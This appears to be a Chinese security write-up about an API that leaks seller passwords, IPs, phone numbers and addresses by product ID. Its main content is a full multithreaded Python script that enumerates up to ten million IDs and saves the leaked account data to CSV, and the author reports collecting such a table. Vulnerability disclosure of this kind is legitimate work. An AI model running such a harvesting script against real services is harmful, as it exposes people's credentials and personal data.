在季度安全测试中使用yakit过滤站点请求,偶然间发现一处接口存在数据泄露的情况,于是有这篇文章。大致过程如下。
在yakit的history中有对应的搜索框,在搜索中输入常见的比较敏感的字符串。当输入了passowrd之后发现匹配上了两个接口。
其实在内容规则中有456条规则,这些规则中也会对密码、账号、各类key等进行匹配。
在history中,有一个列名叫做Tags,在该列中可以搜索,我选择了“密码泄漏点”也同样匹配了上面说的两条请求(其实是两个接口。)
https://www.XXXX.com/api/YYYYYYYY/item-ajax_product_basic-30513311.html?output=json
https://www.XXXX.com/api/YYYYYYY/item-3053319.html?output=json
在他们的响应接口中找到存在密码的地方,如下所示:
这里发现上面的URL中存在数字的地方,经过分析,发现该数字即为商品ID,可以依次遍历即可看到seller_info下相关生态商家的相关注册信息,其中包含的字段有:商家IP、名称、密码、地址、电话、创建时间等。这里简单写了python脚本获取了pam_account下的内容,效果如下:
然后对代码优化,将获取的字段内容保存到表格中,于是有了如下的代码。遍历URL中的数字,即可查看接口中泄露的数据。脚本自动化获取数据:
import csv
import os
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
# 请求的URL和参数
base_url = "https://www.XXXXX/api/XXXXXX/item-ajax_product_basic-{}.html?output=json"
params = {"output": "json"}
# 请求头
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
"Accept": "application/json",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate, br, zstd",
"Referer": "https://XXXXXXX",
"Content-Type": "application/json",
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "same-origin",
"Connection": "keep-alive",
"Priority": "u=4"
}
# CSV文件名和ID范围
file_name = "user_data.csv"
start_id = 1
end_id = 10000000
# 读取已存在的用户ID
existing_ids = set()
if os.path.exists(file_name):
with open(file_name, "r", newline="", encoding="utf-8") as csvfile:
reader = csv.DictReader(csvfile)
for row in reader:
existing_ids.add(row["account_id"])
# 多线程请求函数
def fetch_and_save(id):
url = base_url.format(id)
try:
response = requests.get(url, params=params, headers=headers, timeout=10)
if response.status_code == 200:
json_data = response.json()
if "error" not in json_data or json_data["error"] != "商品不存在":
print(f"ID: {id} - 请求成功: {url}")
# 提取两组数据
pam_account = json_data["data"]["seller_info"]["pam_account"]
contact = json_data["data"]["seller_info"]["contact"]
# 合并两组数据
combined_data = {**pam_account, **contact} # 使用字典合并
current_account_id = pam_account["account_id"]
if current_account_id not in existing_ids:
# 获取所有字段名(合并后的字段)
fieldnames = list(combined_data.keys())
# 写入CSV文件
with open(file_name, "a", newline="", encoding="utf-8") as csvfile:
writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
if csvfile.tell() == 0: # 如果文件是新的,写入表头
writer.writeheader()
writer.writerow(combined_data)
existing_ids.add(current_account_id) # 更新已存在的ID
else:
print(f"ID: {id} - 请求失败,状态码:{response.status_code}")
except requests.exceptions.RequestException as e:
print(f"ID: {id} - 请求过程中发生错误:{e}")
# 使用线程池并发执行
def main():
with ThreadPoolExecutor(max_workers=200) as executor:
futures = [executor.submit(fetch_and_save, id) for id in range(start_id, end_id + 1)]
for future in as_completed(futures):
try:
future.result()
except Exception as e:
print(f"线程执行中发生错误:{e}")
if __name__ == "__main__":
main()
代码中遍历的商品有限,从1到10000000,其中部分请求截图如下
最后写到表格的数据如下:
这两个接口情况是一样的,属于接口数据泄露。根据最后获取的表格数据判定其属于高危吧。
修复建议:过滤接口
原文始发于微信公众号(KSA库):API数据泄露
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论